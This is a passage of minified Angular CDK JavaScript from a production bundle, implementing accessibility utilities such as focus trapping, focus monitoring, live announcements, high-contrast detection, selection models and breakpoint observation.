mt=(this._activeItemIndex+xe*Ae+J.length)%J.length;if(!this._skipPredicateFn(J[mt]))return void this.setActiveItem(mt)}}_setActiveInDefaultMode(xe){this._setActiveItemByIndex(this._activeItemIndex+xe,xe)}_setActiveItemByIndex(xe,J){const Ae=this._getItemsArray();if(Ae[xe]){for(;this._skipPredicateFn(Ae[xe]);)if(!Ae[xe+=J])return;this.setActiveItem(xe)}}_getItemsArray(){return this._items instanceof a.n_E?this._items.toArray():this._items}}class Ye extends Qe{setActiveItem(xe){this.activeItem&&this.activeItem.setInactiveStyles(),super.setActiveItem(xe),this.activeItem&&this.activeItem.setActiveStyles()}}class qe extends Qe{constructor(){super(...arguments),this._origin="program"}setFocusOrigin(xe){return this._origin=xe,this}setActiveItem(xe){super.setActiveItem(xe),this.activeItem&&this.activeItem.focus(this._origin)}}let dt=(()=>{class Ue{constructor(J){this._platform=J}isDisabled(J){return J.hasAttribute("disabled")}isVisible(J){return function ze(Ue){return!!(Ue.offsetWidth||Ue.offsetHeight||"function"==typeof Ue.getClientRects&&Ue.getClientRects().length)}(J)&&"visible"===getComputedStyle(J).visibility}isTabbable(J){if(!this._platform.isBrowser)return!1;const Ae=function bt(Ue){try{return Ue.frameElement}catch{return null}}(function R(Ue){return Ue.ownerDocument&&Ue.ownerDocument.defaultView||window}(J));if(Ae&&(-1===pe(Ae)||!this.isVisible(Ae)))return!1;let mt=J.nodeName.toLowerCase(),Ct=pe(J);return J.hasAttribute("contenteditable")?-1!==Ct:!("iframe"===mt||"object"===mt||this._platform.WEBKIT&&this._platform.IOS&&!function P(Ue){let xe=Ue.nodeName.toLowerCase(),J="input"===xe&&Ue.type;return"text"===J||"password"===J||"select"===xe||"textarea"===xe}(J))&&("audio"===mt?!!J.hasAttribute("controls")&&-1!==Ct:"video"===mt?-1!==Ct&&(null!==Ct||this._platform.FIREFOX||J.hasAttribute("controls")):J.tabIndex>=0)}isFocusable(J,Ae){return function w(Ue){return!function re(Ue){return function We(Ue){return"input"==Ue.nodeName.toLowerCase()}(Ue)&&"hidden"==Ue.type}(Ue)&&(function De(Ue){let xe=Ue.nodeName.toLowerCase();return"input"===xe||"select"===xe||"button"===xe||"textarea"===xe}(Ue)||function ve(Ue){return function xt(Ue){return"a"==Ue.nodeName.toLowerCase()}(Ue)&&Ue.hasAttribute("href")}(Ue)||Ue.hasAttribute("contenteditable")||Be(Ue))}(J)&&!this.isDisabled(J)&&(Ae?.ignoreVisibility||this.isVisible(J))}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(s.t4))},Ue.\\u0275prov=a.Yz7({token:Ue,factory:Ue.\\u0275fac,providedIn:"root"}),Ue})();function Be(Ue){if(!Ue.hasAttribute("tabindex")||void 0===Ue.tabIndex)return!1;let xe=Ue.getAttribute("tabindex");return!(!xe||isNaN(parseInt(xe,10)))}function pe(Ue){if(!Be(Ue))return null;const xe=parseInt(Ue.getAttribute("tabindex")||"",10);return isNaN(xe)?-1:xe}class X{constructor(xe,J,Ae,mt,Ct=!1){this._element=xe,this._checker=J,this._ngZone=Ae,this._document=mt,this._hasAttached=!1,this.startAnchorListener=()=>this.focusLastTabbableElement(),this.endAnchorListener=()=>this.focusFirstTabbableElement(),this._enabled=!0,Ct||this.attachAnchors()}get enabled(){return this._enabled}set enabled(xe){this._enabled=xe,this._startAnchor&&this._endAnchor&&(this._toggleAnchorTabIndex(xe,this._startAnchor),this._toggleAnchorTabIndex(xe,this._endAnchor))}destroy(){const xe=this._startAnchor,J=this._endAnchor;xe&&(xe.removeEventListener("focus",this.startAnchorListener),xe.remove()),J&&(J.removeEventListener("focus",this.endAnchorListener),J.remove()),this._startAnchor=this._endAnchor=null,this._hasAttached=!1}attachAnchors(){return!!this._hasAttached||(this._ngZone.runOutsideAngular(()=>{this._startAnchor||(this._startAnchor=this._createAnchor(),this._startAnchor.addEventListener("focus",this.startAnchorListener)),this._endAnchor||(this._endAnchor=this._createAnchor(),this._endAnchor.addEventListener("focus",this.endAnchorListener))}),this._element.parentNode&&(this._element.parentNode.insertBefore(this._startAnchor,this._element),this._element.parentNode.insertBefore(this._endAnchor,this._element.nextSibling),this._hasAttached=!0),this._hasAttached)}focusInitialElementWhenReady(xe){return new Promise(J=>{this._executeOnStable(()=>J(this.focusInitialElement(xe)))})}focusFirstTabbableElementWhenReady(xe){return new Promise(J=>{this._executeOnStable(()=>J(this.focusFirstTabbableElement(xe)))})}focusLastTabbableElementWhenReady(xe){return new Promise(J=>{this._executeOnStable(()=>J(this.focusLastTabbableElement(xe)))})}_getRegionBoundary(xe){const J=this._element.querySelectorAll(`[cdk-focus-region-${xe}], [cdkFocusRegion${xe}], [cdk-focus-${xe}]`);return"start"==xe?J.length?J[0]:this._getFirstTabbableElement(this._element):J.length?J[J.length-1]:this._getLastTabbableElement(this._element)}focusInitialElement(xe){const J=this._element.querySelector("[cdk-focus-initial], [cdkFocusInitial]");if(J){if(!this._checker.isFocusable(J)){const Ae=this._getFirstTabbableElement(J);return Ae?.focus(xe),!!Ae}return J.focus(xe),!0}return this.focusFirstTabbableElement(xe)}focusFirstTabbableElement(xe){const J=this._getRegionBoundary("start");return J&&J.focus(xe),!!J}focusLastTabbableElement(xe){const J=this._getRegionBoundary("end");return J&&J.focus(xe),!!J}hasAttached(){return this._hasAttached}_getFirstTabbableElement(xe){if(this._checker.isFocusable(xe)&&this._checker.isTabbable(xe))return xe;const J=xe.children;for(let Ae=0;Ae<J.length;Ae++){const mt=J[Ae].nodeType===this._document.ELEMENT_NODE?this._getFirstTabbableElement(J[Ae]):null;if(mt)return mt}return null}_getLastTabbableElement(xe){if(this._checker.isFocusable(xe)&&this._checker.isTabbable(xe))return xe;const J=xe.children;for(let Ae=J.length-1;Ae>=0;Ae--){const mt=J[Ae].nodeType===this._document.ELEMENT_NODE?this._getLastTabbableElement(J[Ae]):null;if(mt)return mt}return null}_createAnchor(){const xe=this._document.createElement("div");return this._toggleAnchorTabIndex(this._enabled,xe),xe.classList.add("cdk-visually-hidden"),xe.classList.add("cdk-focus-trap-anchor"),xe.setAttribute("aria-hidden","true"),xe}_toggleAnchorTabIndex(xe,J){xe?J.setAttribute("tabindex","0"):J.removeAttribute("tabindex")}toggleAnchors(xe){this._startAnchor&&this._endAnchor&&(this._toggleAnchorTabIndex(xe,this._startAnchor),this._toggleAnchorTabIndex(xe,this._endAnchor))}_executeOnStable(xe){this._ngZone.isStable?xe():this._ngZone.onStable.pipe((0,H.q)(1)).subscribe(xe)}}let _e=(()=>{class Ue{constructor(J,Ae,mt){this._checker=J,this._ngZone=Ae,this._document=mt}create(J,Ae=!1){return new X(J,this._checker,this._ngZone,this._document,Ae)}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(dt),a.LFG(a.R0b),a.LFG(n.K0))},Ue.\\u0275prov=a.Yz7({token:Ue,factory:Ue.\\u0275fac,providedIn:"root"}),Ue})(),ct=(()=>{class Ue{constructor(J,Ae,mt){this._elementRef=J,this._focusTrapFactory=Ae,this._previouslyFocusedElement=null,this.focusTrap=this._focusTrapFactory.create(this._elementRef.nativeElement,!0)}get enabled(){return this.focusTrap.enabled}set enabled(J){this.focusTrap.enabled=(0,Q.Ig)(J)}get autoCapture(){return this._autoCapture}set autoCapture(J){this._autoCapture=(0,Q.Ig)(J)}ngOnDestroy(){this.focusTrap.destroy(),this._previouslyFocusedElement&&(this._previouslyFocusedElement.focus(),this._previouslyFocusedElement=null)}ngAfterContentInit(){this.focusTrap.attachAnchors(),this.autoCapture&&this._captureFocus()}ngDoCheck(){this.focusTrap.hasAttached()||this.focusTrap.attachAnchors()}ngOnChanges(J){const Ae=J.autoCapture;Ae&&!Ae.firstChange&&this.autoCapture&&this.focusTrap.hasAttached()&&this._captureFocus()}_captureFocus(){this._previouslyFocusedElement=(0,s.ht)(),this.focusTrap.focusInitialElementWhenReady()}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.Y36(a.SBq),a.Y36(_e),a.Y36(n.K0))},Ue.\\u0275dir=a.lG2({type:Ue,selectors:[["","cdkTrapFocus",""]],inputs:{enabled:["cdkTrapFocus","enabled"],autoCapture:["cdkTrapFocusAutoCapture","autoCapture"]},exportAs:["cdkTrapFocus"],features:[a.TTD]}),Ue})();function te(Ue){return 0===Ue.buttons||0===Ue.offsetX&&0===Ue.offsetY}function x(Ue){const xe=Ue.touches&&Ue.touches[0]||Ue.changedTouches&&Ue.changedTouches[0];return!(!xe||-1!==xe.identifier||null!=xe.radiusX&&1!==xe.radiusX||null!=xe.radiusY&&1!==xe.radiusY)}const m=new a.OlP("cdk-input-modality-detector-options"),b={ignoreKeys:[_.zL,_.jx,_.b2,_.MW,_.JU]},ie=(0,s.i$)({passive:!0,capture:!0});let Xe=(()=>{class Ue{constructor(J,Ae,mt,Ct){this._platform=J,this._mostRecentTarget=null,this._modality=new f.X(null),this._lastTouchMs=0,this._onKeydown=jt=>{this._options?.ignoreKeys?.some(pt=>pt===jt.keyCode)||(this._modality.next("keyboard"),this._mostRecentTarget=(0,s.sA)(jt))},this._onMousedown=jt=>{Date.now()-this._lastTouchMs<650||(this._modality.next(te(jt)?"keyboard":"mouse"),this._mostRecentTarget=(0,s.sA)(jt))},this._onTouchstart=jt=>{x(jt)?this._modality.next("keyboard"):(this._lastTouchMs=Date.now(),this._modality.next("touch"),this._mostRecentTarget=(0,s.sA)(jt))},this._options={...b,...Ct},this.modalityDetected=this._modality.pipe((0,j.T)(1)),this.modalityChanged=this.modalityDetected.pipe((0,U.x)()),J.isBrowser&&Ae.runOutsideAngular(()=>{mt.addEventListener("keydown",this._onKeydown,ie),mt.addEventListener("mousedown",this._onMousedown,ie),mt.addEventListener("touchstart",this._onTouchstart,ie)})}get mostRecentModality(){return this._modality.value}ngOnDestroy(){this._modality.complete(),this._platform.isBrowser&&(document.removeEventListener("keydown",this._onKeydown,ie),document.removeEventListener("mousedown",this._onMousedown,ie),document.removeEventListener("touchstart",this._onTouchstart,ie))}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(s.t4),a.LFG(a.R0b),a.LFG(n.K0),a.LFG(m,8))},Ue.\\u0275prov=a.Yz7({token:Ue,factory:Ue.\\u0275fac,providedIn:"root"}),Ue})();const it=new a.OlP("liveAnnouncerElement",{providedIn:"root",factory:function wt(){return null}}),Vt=new a.OlP("LIVE_ANNOUNCER_DEFAULT_OPTIONS");let Gt=(()=>{class Ue{constructor(J,Ae,mt,Ct){this._ngZone=Ae,this._defaultOptions=Ct,this._document=mt,this._liveElement=J||this._createLiveElement()}announce(J,...Ae){const mt=this._defaultOptions;let Ct,jt;return 1===Ae.length&&"number"==typeof Ae[0]?jt=Ae[0]:[Ct,jt]=Ae,this.clear(),clearTimeout(this._previousTimeout),Ct||(Ct=mt&&mt.politeness?mt.politeness:"polite"),null==jt&&mt&&(jt=mt.duration),this._liveElement.setAttribute("aria-live",Ct),this._ngZone.runOutsideAngular(()=>(this._currentPromise||(this._currentPromise=new Promise(pt=>this._currentResolve=pt)),clearTimeout(this._previousTimeout),this._previousTimeout=setTimeout(()=>{this._liveElement.textContent=J,"number"==typeof jt&&(this._previousTimeout=setTimeout(()=>this.clear(),jt)),this._currentResolve(),this._currentPromise=this._currentResolve=void 0},100),this._currentPromise))}clear(){this._liveElement&&(this._liveElement.textContent="")}ngOnDestroy(){clearTimeout(this._previousTimeout),this._liveElement?.remove(),this._liveElement=null,this._currentResolve?.(),this._currentPromise=this._currentResolve=void 0}_createLiveElement(){const J="cdk-live-announcer-element",Ae=this._document.getElementsByClassName(J),mt=this._document.createElement("div");for(let Ct=0;Ct<Ae.length;Ct++)Ae[Ct].remove();return mt.classList.add(J),mt.classList.add("cdk-visually-hidden"),mt.setAttribute("aria-atomic","true"),mt.setAttribute("aria-live","polite"),this._document.body.appendChild(mt),mt}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(it,8),a.LFG(a.R0b),a.LFG(n.K0),a.LFG(Vt,8))},Ue.\\u0275prov=a.Yz7({token:Ue,factory:Ue.\\u0275fac,providedIn:"root"}),Ue})();const u1=new a.OlP("cdk-focus-monitor-default-options"),c1=(0,s.i$)({passive:!0,capture:!0});let It=(()=>{class Ue{constructor(J,Ae,mt,Ct,jt){this._ngZone=J,this._platform=Ae,this._inputModalityDetector=mt,this._origin=null,this._windowFocused=!1,this._originFromTouchInteraction=!1,this._elementInfo=new Map,this._monitoredElementCount=0,this._rootNodeFocusListenerCount=new Map,this._windowFocusListener=()=>{this._windowFocused=!0,this._windowFocusTimeoutId=window.setTimeout(()=>this._windowFocused=!1)},this._stopInputModalityDetector=new u.xQ,this._rootNodeFocusAndBlurListener=pt=>{for(let fe=(0,s.sA)(pt);fe;fe=fe.parentElement)"focus"===pt.type?this._onFocus(pt,fe):this._onBlur(pt,fe)},this._document=Ct,this._detectionMode=jt?.detectionMode||0}monitor(J,Ae=!1){const mt=(0,Q.fI)(J);if(!this._platform.isBrowser||1!==mt.nodeType)return(0,E.of)(null);const Ct=(0,s.kV)(mt)||this._getDocument(),jt=this._elementInfo.get(mt);if(jt)return Ae&&(jt.checkChildren=!0),jt.subject;const pt={checkChildren:Ae,subject:new u.xQ,rootNode:Ct};return this._elementInfo.set(mt,pt),this._registerGlobalListeners(pt),pt.subject}stopMonitoring(J){const Ae=(0,Q.fI)(J),mt=this._elementInfo.get(Ae);mt&&(mt.subject.complete(),this._setClasses(Ae),this._elementInfo.delete(Ae),this._removeGlobalListeners(mt))}focusVia(J,Ae,mt){const Ct=(0,Q.fI)(J);Ct===this._getDocument().activeElement?this._getClosestElementsInfo(Ct).forEach(([pt,nt])=>this._originChanged(pt,Ae,nt)):(this._setOrigin(Ae),"function"==typeof Ct.focus&&Ct.focus(mt))}ngOnDestroy(){this._elementInfo.forEach((J,Ae)=>this.stopMonitoring(Ae))}_getDocument(){return this._document||document}_getWindow(){return this._getDocument().defaultView||window}_getFocusOrigin(J){return this._origin?this._originFromTouchInteraction?this._shouldBeAttributedToTouch(J)?"touch":"program":this._origin:this._windowFocused&&this._lastFocusOrigin?this._lastFocusOrigin:J&&this._isLastInteractionFromInputLabel(J)?"mouse":"program"}_shouldBeAttributedToTouch(J){return 1===this._detectionMode||!!J?.contains(this._inputModalityDetector._mostRecentTarget)}_setClasses(J,Ae){J.classList.toggle("cdk-focused",!!Ae),J.classList.toggle("cdk-touch-focused","touch"===Ae),J.classList.toggle("cdk-keyboard-focused","keyboard"===Ae),J.classList.toggle("cdk-mouse-focused","mouse"===Ae),J.classList.toggle("cdk-program-focused","program"===Ae)}_setOrigin(J,Ae=!1){this._ngZone.runOutsideAngular(()=>{this._origin=J,this._originFromTouchInteraction="touch"===J&&Ae,0===this._detectionMode&&(clearTimeout(this._originTimeoutId),this._originTimeoutId=setTimeout(()=>this._origin=null,this._originFromTouchInteraction?650:1))})}_onFocus(J,Ae){const mt=this._elementInfo.get(Ae),Ct=(0,s.sA)(J);!mt||!mt.checkChildren&&Ae!==Ct||this._originChanged(Ae,this._getFocusOrigin(Ct),mt)}_onBlur(J,Ae){const mt=this._elementInfo.get(Ae);!mt||mt.checkChildren&&J.relatedTarget instanceof Node&&Ae.contains(J.relatedTarget)||(this._setClasses(Ae),this._emitOrigin(mt,null))}_emitOrigin(J,Ae){J.subject.observers.length&&this._ngZone.run(()=>J.subject.next(Ae))}_registerGlobalListeners(J){if(!this._platform.isBrowser)return;const Ae=J.rootNode,mt=this._rootNodeFocusListenerCount.get(Ae)||0;mt||this._ngZone.runOutsideAngular(()=>{Ae.addEventListener("focus",this._rootNodeFocusAndBlurListener,c1),Ae.addEventListener("blur",this._rootNodeFocusAndBlurListener,c1)}),this._rootNodeFocusListenerCount.set(Ae,mt+1),1==++this._monitoredElementCount&&(this._ngZone.runOutsideAngular(()=>{this._getWindow().addEventListener("focus",this._windowFocusListener)}),this._inputModalityDetector.modalityDetected.pipe((0,G.R)(this._stopInputModalityDetector)).subscribe(Ct=>{this._setOrigin(Ct,!0)}))}_removeGlobalListeners(J){const Ae=J.rootNode;if(this._rootNodeFocusListenerCount.has(Ae)){const mt=this._rootNodeFocusListenerCount.get(Ae);mt>1?this._rootNodeFocusListenerCount.set(Ae,mt-1):(Ae.removeEventListener("focus",this._rootNodeFocusAndBlurListener,c1),Ae.removeEventListener("blur",this._rootNodeFocusAndBlurListener,c1),this._rootNodeFocusListenerCount.delete(Ae))}--this._monitoredElementCount||(this._getWindow().removeEventListener("focus",this._windowFocusListener),this._stopInputModalityDetector.next(),clearTimeout(this._windowFocusTimeoutId),clearTimeout(this._originTimeoutId))}_originChanged(J,Ae,mt){this._setClasses(J,Ae),this._emitOrigin(mt,Ae),this._lastFocusOrigin=Ae}_getClosestElementsInfo(J){const Ae=[];return this._elementInfo.forEach((mt,Ct)=>{(Ct===J||mt.checkChildren&&Ct.contains(J))&&Ae.push([Ct,mt])}),Ae}_isLastInteractionFromInputLabel(J){const{_mostRecentTarget:Ae,mostRecentModality:mt}=this._inputModalityDetector;if("mouse"!==mt||!Ae||Ae===J||"INPUT"!==J.nodeName&&"TEXTAREA"!==J.nodeName||J.disabled)return!1;const Ct=J.labels;if(Ct)for(let jt=0;jt<Ct.length;jt++)if(Ct[jt].contains(Ae))return!0;return!1}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(a.R0b),a.LFG(s.t4),a.LFG(Xe),a.LFG(n.K0,8),a.LFG(u1,8))},Ue.\\u0275prov=a.Yz7({token:Ue,factory:Ue.\\u0275fac,providedIn:"root"}),Ue})(),_t=(()=>{class Ue{constructor(J,Ae){this._elementRef=J,this._focusMonitor=Ae,this._focusOrigin=null,this.cdkFocusChange=new a.vpe}get focusOrigin(){return this._focusOrigin}ngAfterViewInit(){const J=this._elementRef.nativeElement;this._monitorSubscription=this._focusMonitor.monitor(J,1===J.nodeType&&J.hasAttribute("cdkMonitorSubtreeFocus")).subscribe(Ae=>{this._focusOrigin=Ae,this.cdkFocusChange.emit(Ae)})}ngOnDestroy(){this._focusMonitor.stopMonitoring(this._elementRef),this._monitorSubscription&&this._monitorSubscription.unsubscribe()}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.Y36(a.SBq),a.Y36(It))},Ue.\\u0275dir=a.lG2({type:Ue,selectors:[["","cdkMonitorElementFocus",""],["","cdkMonitorSubtreeFocus",""]],outputs:{cdkFocusChange:"cdkFocusChange"},exportAs:["cdkMonitorFocus"]}),Ue})();const kt="cdk-high-contrast-black-on-white",Fe="cdk-high-contrast-white-on-black",be="cdk-high-contrast-active";let Pe=(()=>{class Ue{constructor(J,Ae){this._platform=J,this._document=Ae,this._breakpointSubscription=(0,a.f3M)(Ce.Yg).observe("(forced-colors: active)").subscribe(()=>{this._hasCheckedHighContrastMode&&(this._hasCheckedHighContrastMode=!1,this._applyBodyHighContrastModeCssClasses())})}getHighContrastMode(){if(!this._platform.isBrowser)return 0;const J=this._document.createElement("div");J.style.backgroundColor="rgb(1,2,3)",J.style.position="absolute",this._document.body.appendChild(J);const Ae=this._document.defaultView||window,mt=Ae&&Ae.getComputedStyle?Ae.getComputedStyle(J):null,Ct=(mt&&mt.backgroundColor||"").replace(/ /g,"");switch(J.remove(),Ct){case"rgb(0,0,0)":case"rgb(45,50,54)":case"rgb(32,32,32)":return 2;case"rgb(255,255,255)":case"rgb(255,250,239)":return 1}return 0}ngOnDestroy(){this._breakpointSubscription.unsubscribe()}_applyBodyHighContrastModeCssClasses(){if(!this._hasCheckedHighContrastMode&&this._platform.isBrowser&&this._document.body){const J=this._document.body.classList;J.remove(be,kt,Fe),this._hasCheckedHighContrastMode=!0;const Ae=this.getHighContrastMode();1===Ae?J.add(be,kt):2===Ae&&J.add(be,Fe)}}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(s.t4),a.LFG(n.K0))},Ue.\\u0275prov=a.Yz7({token:Ue,factory:Ue.\\u0275fac,providedIn:"root"}),Ue})(),Re=(()=>{class Ue{constructor(J){J._applyBodyHighContrastModeCssClasses()}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(Pe))},Ue.\\u0275mod=a.oAB({type:Ue}),Ue.\\u0275inj=a.cJS({imports:[oe.Q8]}),Ue})()},445:(At,ae,d)=>{"use strict";d.d(ae,{Is:()=>E,vT:()=>S});var n=d(4650),a=d(6895);const s=new n.OlP("cdk-dir-doc",{providedIn:"root",factory:function u(){return(0,n.f3M)(a.K0)}}),c=/^(ar|ckb|dv|he|iw|fa|nqo|ps|sd|ug|ur|yi|.*[-_](Adlm|Arab|Hebr|Nkoo|Rohg|Thaa))(?!.*[-_](Latn|Cyrl)($|-|_))($|-|_)/i;let E=(()=>{class g{constructor(z){this.value="ltr",this.change=new n.vpe,z&&(this.value=function f(g){const C=g?.toLowerCase()||"";return"auto"===C&&typeof navigator<"u"&&navigator?.language?c.test(navigator.language)?"rtl":"ltr":"rtl"===C?"rtl":"ltr"}((z.body?z.body.dir:null)||(z.documentElement?z.documentElement.dir:null)||"ltr"))}ngOnDestroy(){this.change.complete()}}return g.\\u0275fac=function(z){return new(z||g)(n.LFG(s,8))},g.\\u0275prov=n.Yz7({token:g,factory:g.\\u0275fac,providedIn:"root"}),g})(),S=(()=>{class g{}return g.\\u0275fac=function(z){return new(z||g)},g.\\u0275mod=n.oAB({type:g}),g.\\u0275inj=n.cJS({}),g})()},1281:(At,ae,d)=>{"use strict";d.d(ae,{Eq:()=>c,HM:()=>f,Ig:()=>a,du:()=>_,fI:()=>E,su:()=>s,t6:()=>u});var n=d(4650);function a(S){return null!=S&&"false"!=`${S}`}function s(S,g=0){return u(S)?Number(S):g}function u(S){return!isNaN(parseFloat(S))&&!isNaN(Number(S))}function c(S){return Array.isArray(S)?S:[S]}function f(S){return null==S?"":"string"==typeof S?S:`${S}px`}function E(S){return S instanceof n.SBq?S.nativeElement:S}function _(S,g=/\\s+/){const C=[];if(null!=S){const z=Array.isArray(S)?S:`${S}`.split(g);for(const H of z){const j=`${H}`.trim();j&&C.push(j)}}return C}},5017:(At,ae,d)=>{"use strict";d.d(ae,{A8:()=>C,Ov:()=>S,Z9:()=>c,eX:()=>_,k:()=>z,o2:()=>u,yy:()=>E});var n=d(1762),a=d(8929),s=d(4650);class u{}function c(H){return H&&"function"==typeof H.connect&&!(H instanceof n.c)}class E{applyChanges(j,U,G,Q,oe){j.forEachOperation((Ce,k,K)=>{let se,ee;if(null==Ce.previousIndex){const q=G(Ce,k,K);se=U.createEmbeddedView(q.templateRef,q.context,q.index),ee=1}else null==K?(U.remove(k),ee=3):(se=U.get(k),U.move(se,K),ee=2);oe&&oe({context:se?.context,operation:ee,record:Ce})})}detach(){}}class _{constructor(){this.viewCacheSize=20,this._viewCache=[]}applyChanges(j,U,G,Q,oe){j.forEachOperation((Ce,k,K)=>{let se,ee;null==Ce.previousIndex?(se=this._insertView(()=>G(Ce,k,K),K,U,Q(Ce)),ee=se?1:0):null==K?(this._detachAndCacheView(k,U),ee=3):(se=this._moveView(k,K,U,Q(Ce)),ee=2),oe&&oe({context:se?.context,operation:ee,record:Ce})})}detach(){for(const j of this._viewCache)j.destroy();this._viewCache=[]}_insertView(j,U,G,Q){const oe=this._insertViewFromCache(U,G);if(oe)return void(oe.context.$implicit=Q);const Ce=j();return G.createEmbeddedView(Ce.templateRef,Ce.context,Ce.index)}_detachAndCacheView(j,U){const G=U.detach(j);this._maybeCacheView(G,U)}_moveView(j,U,G,Q){const oe=G.get(j);return G.move(oe,U),oe.context.$implicit=Q,oe}_maybeCacheView(j,U){if(this._viewCache.length<this.viewCacheSize)this._viewCache.push(j);else{const G=U.indexOf(j);-1===G?j.destroy():U.remove(G)}}_insertViewFromCache(j,U){const G=this._viewCache.pop();return G&&U.insert(G,j),G||null}}class S{constructor(j=!1,U,G=!0,Q){this._multiple=j,this._emitChanges=G,this.compareWith=Q,this._selection=new Set,this._deselectedToEmit=[],this._selectedToEmit=[],this.changed=new a.xQ,U&&U.length&&(j?U.forEach(oe=>this._markSelected(oe)):this._markSelected(U[0]),this._selectedToEmit.length=0)}get selected(){return this._selected||(this._selected=Array.from(this._selection.values())),this._selected}select(...j){this._verifyValueAssignment(j),j.forEach(G=>this._markSelected(G));const U=this._hasQueuedChanges();return this._emitChangeEvent(),U}deselect(...j){this._verifyValueAssignment(j),j.forEach(G=>this._unmarkSelected(G));const U=this._hasQueuedChanges();return this._emitChangeEvent(),U}setSelection(...j){this._verifyValueAssignment(j);const U=this.selected,G=new Set(j);j.forEach(oe=>this._markSelected(oe)),U.filter(oe=>!G.has(oe)).forEach(oe=>this._unmarkSelected(oe));const Q=this._hasQueuedChanges();return this._emitChangeEvent(),Q}toggle(j){return this.isSelected(j)?this.deselect(j):this.select(j)}clear(j=!0){this._unmarkAll();const U=this._hasQueuedChanges();return j&&this._emitChangeEvent(),U}isSelected(j){if(this.compareWith){for(const U of this._selection)if(this.compareWith(U,j))return!0;return!1}return this._selection.has(j)}isEmpty(){return 0===this._selection.size}hasValue(){return!this.isEmpty()}sort(j){this._multiple&&this.selected&&this._selected.sort(j)}isMultipleSelection(){return this._multiple}_emitChangeEvent(){this._selected=null,(this._selectedToEmit.length||this._deselectedToEmit.length)&&(this.changed.next({source:this,added:this._selectedToEmit,removed:this._deselectedToEmit}),this._deselectedToEmit=[],this._selectedToEmit=[])}_markSelected(j){this.isSelected(j)||(this._multiple||this._unmarkAll(),this.isSelected(j)||this._selection.add(j),this._emitChanges&&this._selectedToEmit.push(j))}_unmarkSelected(j){this.isSelected(j)&&(this._selection.delete(j),this._emitChanges&&this._deselectedToEmit.push(j))}_unmarkAll(){this.isEmpty()||this._selection.forEach(j=>this._unmarkSelected(j))}_verifyValueAssignment(j){}_hasQueuedChanges(){return!(!this._deselectedToEmit.length&&!this._selectedToEmit.length)}}let C=(()=>{class H{constructor(){this._listeners=[]}notify(U,G){for(let Q of this._listeners)Q(U,G)}listen(U){return this._listeners.push(U),()=>{this._listeners=this._listeners.filter(G=>U!==G)}}ngOnDestroy(){this._listeners=[]}}return H.\\u0275fac=function(U){return new(U||H)},H.\\u0275prov=s.Yz7({token:H,factory:H.\\u0275fac,providedIn:"root"}),H})();const z=new s.OlP("_ViewRepeater")},9521:(At,ae,d)=>{"use strict";d.d(ae,{A:()=>re,JH:()=>k,JU:()=>f,K5:()=>c,Ku:()=>H,LH:()=>oe,L_:()=>z,MW:()=>Vt,Mf:()=>s,SV:()=>Ce,Sd:()=>G,VM:()=>j,Vb:()=>vn,Z:()=>wt,ZH:()=>a,aO:()=>Ke,b2:()=>V1,hY:()=>C,jx:()=>E,oh:()=>Q,uR:()=>U,xE:()=>we,yY:()=>q,zL:()=>_});const a=8,s=9,c=13,f=16,E=17,_=18,C=27,z=32,H=33,j=34,U=35,G=36,Q=37,oe=38,Ce=39,k=40,q=46,we=48,Ke=57,re=65,wt=90,Vt=91,V1=224;function vn(E1,...In){return In.length?In.some(Gn=>E1[Gn]):E1.altKey||E1.shiftKey||E1.ctrlKey||E1.metaKey}},2289:(At,ae,d)=>{"use strict";d.d(ae,{Yg:()=>k,u3:()=>se,xu:()=>j});var n=d(4650),a=d(1281),s=d(8929),u=d(3426),c=d(1221),f=d(6498),E=d(2986),_=d(1307),S=d(13),g=d(4850),C=d(1059),z=d(7625),H=d(3353);let j=(()=>{class ee{}return ee.\\u0275fac=function(we){return new(we||ee)},ee.\\u0275mod=n.oAB({type:ee}),ee.\\u0275inj=n.cJS({}),ee})();const U=new Set;let G,Q=(()=>{class ee{constructor(we){this._platform=we,this._matchMedia=this._platform.isBrowser&&window.matchMedia?window.matchMedia.bind(window):Ce}matchMedia(we){return(this._platform.WEBKIT||this._platform.BLINK)&&function oe(ee){if(!U.has(ee))try{G||(G=document.createElement("style"),G.setAttribute("type","text/css"),document.head.appendChild(G)),G.sheet&&(G.sheet.insertRule(`@media ${ee} {body{ }}`,0),U.add(ee))}catch(q){console.error(q)}}(we),this._matchMedia(we)}}return ee.\\u0275fac=function(we){return new(we||ee)(n.LFG(H.t4))},ee.\\u0275prov=n.Yz7({token:ee,factory:ee.\\u0275fac,providedIn:"root"}),ee})();function Ce(ee){return{matches:"all"===ee||""===ee,media:ee,addListener:()=>{},removeListener:()=>{}}}let k=(()=>{class ee{constructor(we,ce){this._mediaMatcher=we,this._zone=ce,this._queries=new Map,this._destroySubject=new s.xQ}ngOnDestroy(){this._destroySubject.next(),this._destroySubject.complete()}isMatched(we){return K((0,a.Eq)(we)).some(je=>this._registerQuery(je).mql.matches)}observe(we){const je=K((0,a.Eq)(we)).map(le=>this._registerQuery(le).observable);let Ze=(0,u.aj)(je);return Ze=(0,c.z)(Ze.pipe((0,E.q)(1)),Ze.pipe((0,_.T)(1),(0,S.b)(0))),Ze.pipe((0,g.U)(le=>{const Oe={matches:!1,breakpoints:{}};return le.forEach(({matches:Qe,query:Ye})=>{Oe.matches=Oe.matches||Qe,Oe.breakpoints[Ye]=Qe}),Oe}))}_registerQuery(we){if(this._queries.has(we))return this._queries.get(we);const ce=this._mediaMatcher.matchMedia(we),Ze={observable:new f.y(le=>{const Oe=Qe=>this._zone.run(()=>le.next(Qe));return ce.addListener(Oe),()=>{ce.removeListener(Oe)}}).pipe((0,C.O)(ce),(0,g.U)(({matches:le})=>({query:we,matches:le})),(0,z.R)(this._destroySubject)),mql:ce};return this._queries.set(we,Ze),Ze}}return ee.\\u0275fac=function(we){return new(we||ee)(n.LFG(Q),n.LFG(n.R0b))},ee.\\u0275prov=n.Yz7({token:ee,factory:ee.\\u0275fac,providedIn:"root"}),ee})();function K(ee){return ee.map(q=>q.split(",")).reduce((q,we)=>q.concat(we)).map(q=>q.trim())}const se={XSmall:"(max-width: 599.98px)",Small:"(min-width: 600px) and (max-width: 